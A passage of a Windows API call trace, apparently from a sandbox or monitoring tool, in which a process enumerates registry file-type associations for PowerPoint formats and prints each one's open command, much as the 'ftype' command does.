ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.377] SetLastError (dwErrCode=0x2) [0101.377] RegCloseKey (hKey=0x0) returned 0x6 [0101.377] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb7f, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.ShowMacroEnabled.12") returned 0x0 [0101.377] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.ShowMacroEnabled.12\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.377] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.377] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x9a | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"", lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.377] RegCloseKey (hKey=0x64) returned 0x0 [0101.378] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PowerPoint.ShowMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n") returned 109 [0101.378] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.378] GetFileType (hFile=0x5c) returned 0x3 [0101.378] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.378] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.ShowMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.ShowMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 110 [0101.378] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x6d, lpOverlapped=0x0) returned 1 [0101.379] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb80, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.Slide") returned 0x0 [0101.405] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.Slide\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.453] SetLastError (dwErrCode=0x2) [0101.454] RegCloseKey (hKey=0x0) returned 0x6 [0101.454] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb81, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.Slide.12") returned 0x0 [0101.454] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.Slide.12\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.454] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x96) returned 0x0 [0101.454] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x96 | out: lpType=0x2eef28*=0x1, lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"", lpcbData=0x2eef20*=0x96) returned 0x0 [0101.454] RegCloseKey (hKey=0x64) returned 0x0 [0101.455] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PowerPoint.Slide.12=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n") returned 96 [0101.455] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.455] GetFileType (hFile=0x5c) returned 0x3 [0101.455] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.455] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Slide.12=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Slide.12=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 97 [0101.455] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x60, lpOverlapped=0x0) returned 1 [0101.455] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb82, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.Slide.8") returned 0x0 [0101.455] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.Slide.8\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.455] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x96) returned 0x0 [0101.456] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x96 | out: lpType=0x2eef28*=0x1, lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"", lpcbData=0x2eef20*=0x96) returned 0x0 [0101.456] RegCloseKey (hKey=0x64) returned 0x0 [0101.456] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PowerPoint.Slide.8=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n") returned 95 [0101.456] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.456] GetFileType (hFile=0x5c) returned 0x3 [0101.456] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.456] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Slide.8=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Slide.8=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 96 [0101.456] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5f, lpOverlapped=0x0) returned 1 [0101.456] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb83, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.SlideMacroEnabled") returned 0x0 [0101.456] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.SlideMacroEnabled\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.456] SetLastError (dwErrCode=0x2) [0101.456] RegCloseKey (hKey=0x0) returned 0x6 [0101.457] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb84, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.SlideMacroEnabled.12") returned 0x0 [0101.457] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.SlideMacroEnabled.12\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.457] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x96) returned 0x0 [0101.457] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x96 | out: lpType=0x2eef28*=0x1, lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"", lpcbData=0x2eef20*=0x96) returned 0x0 [0101.457] RegCloseKey (hKey=0x64) returned 0x0 [0101.457] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PowerPoint.SlideMacroEnabled.12=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n") returned 108 [0101.457] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.457] GetFileType (hFile=0x5c) returned 0x3 [0101.457] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.457] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.SlideMacroEnabled.12=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.SlideMacroEnabled.12=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 109 [0101.457] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x6c, lpOverlapped=0x0) returned 1 [0101.458] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb85, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.SlideShow") returned 0x0 [0101.458] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.SlideShow\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.458] SetLastError (dwErrCode=0x2) [0101.458] RegCloseKey (hKey=0x0) returned 0x6 [0101.458] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb86, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.SlideShow.12") returned 0x0 [0101.458] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.SlideShow.12\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.458] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0xa0) returned 0x0 [0101.458] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0xa0 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"", lpcbData=0x2eef20*=0xa0) returned 0x0 [0101.458] RegCloseKey (hKey=0x64) returned 0x0 [0101.458] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PowerPoint.SlideShow.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n") returned 105 [0101.458] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.458] GetFileType (hFile=0x5c) returned 0x3 [0101.458] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.458] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.SlideShow.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.SlideShow.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 106 [0101.458] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x69, lpOverlapped=0x0) returned 1 [0101.459] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb87, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.SlideShow.8") returned 0x0 [0101.459] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.SlideShow.8\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.459] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0xa0) returned 0x0 [0101.459] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0xa0 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"", lpcbData=0x2eef20*=0xa0) returned 0x0 [0101.459] RegCloseKey (hKey=0x64) returned 0x0 [0101.459] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PowerPoint.SlideShow.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n") returned 104 [0101.459] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.459] GetFileType (hFile=0x5c) returned 0x3 [0101.459] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.459] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.SlideShow.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.SlideShow.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 105 [0101.459] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x68, lpOverlapped=0x0) returned 1 [0101.460] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb88, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.SlideShowMacroEnabled") returned 0x0 [0101.460] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.SlideShowMacroEnabled\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.460] SetLastError (dwErrCode=0x2) [0101.460] RegCloseKey (hKey=0x0) returned 0x6 [0101.460] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb89, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.SlideShowMacroEnabled.12") returned 0x0 [0101.460] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.SlideShowMacroEnabled.12\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.460] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0xa0) returned 0x0 [0101.460] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0xa0 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"", lpcbData=0x2eef20*=0xa0) returned 0x0 [0101.460] RegCloseKey (hKey=0x64) returned 0x0 [0101.460] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PowerPoint.SlideShowMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n") returned 117 [0101.460] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.460] GetFileType (hFile=0x5c) returned 0x3 [0101.460] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.461] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.SlideShowMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.SlideShowMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 118 [0101.461] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x75, lpOverlapped=0x0) returned 1 [0101.461] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb8a, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.Template") returned 0x0 [0101.461] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.Template\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.461] SetLastError (dwErrCode=0x2) [0101.461] RegCloseKey (hKey=0x0) returned 0x6 [0101.461] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb8b, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.Template.12") returned 0x0 [0101.461] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.Template.12\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.461] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.461] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x9a | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"", lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.461] RegCloseKey (hKey=0x64) returned 0x0 [0101.462] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PowerPoint.Template.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n") returned 101 [0101.462] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.462] GetFileType (hFile=0x5c) returned 0x3 [0101.462] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.462] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Template.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Template.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 102 [0101.462] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x65, lpOverlapped=0x0) returned 1 [0101.462] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb8c, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.Template.8") returned 0x0 [0101.462] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.Template.8\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.462] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.462] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x9a | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"", lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.462] RegCloseKey (hKey=0x64) returned 0x0 [0101.463] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PowerPoint.Template.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n") returned 100 [0101.463] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.463] GetFileType (hFile=0x5c) returned 0x3 [0101.463] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.463] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Template.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Template.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 101 [0101.463] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x64, lpOverlapped=0x0) returned 1 [0101.463] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb8d, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.TemplateMacroEnabled") returned 0x0 [0101.463] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.TemplateMacroEnabled\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.463] SetLastError (dwErrCode=0x2) [0101.463] RegCloseKey (hKey=0x0) returned 0x6 [0101.463] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb8e, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.TemplateMacroEnabled.12") returned 0x0 [0101.463] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.TemplateMacroEnabled.12\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.464] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.464] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x9a | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"", lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.464] RegCloseKey (hKey=0x64) returned 0x0 [0101.464] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PowerPoint.TemplateMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n") returned 113 [0101.464] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.464] GetFileType (hFile=0x5c) returned 0x3 [0101.464] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.464] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.TemplateMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.TemplateMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 114 [0101.464] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x71, lpOverlapped=0x0) returned 1 [0101.464] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb8f, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.UriLink.16") returned 0x0 [0101.464] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.UriLink.16\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.464] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x92) returned 0x0 [0101.465] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x92 | out: 